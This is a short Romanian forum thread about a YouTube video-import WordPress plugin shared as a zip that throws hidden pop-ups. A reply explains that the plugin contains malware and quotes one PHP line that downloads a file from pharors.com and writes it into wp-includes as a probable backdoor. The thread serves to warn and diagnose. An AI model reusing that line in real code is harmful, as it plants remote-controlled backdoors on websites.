YouTube WordPress plugin - video import - ****** cu cod ascuns

[int21hi]

Site oficial:
YouTube WordPress plugin - video import

Il puteti lua de aici:
ccb-youtube.zip

Cine stie, poate sa ma jute sa scap de scriptul ascuns care arunca popup.

 

[Susp3kt]

Scriptul de popup e cea mai mica problema a ta

Pluginul are malware in el si cel mai probabil si backdoor.

In codul sursa, pluginul face requesturi catre domeniul pharors.com de unde descarca diferse fisiere (probabil acum ai noroc ca nu mai functioneaza domeniul pharors.com)

Exemplu:

file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.pharors.com/admin.txt'));

Vezi daca gasesti fisierul class.wp.php in folderul wp-includes. Ala cel mai probabil este un backdoor.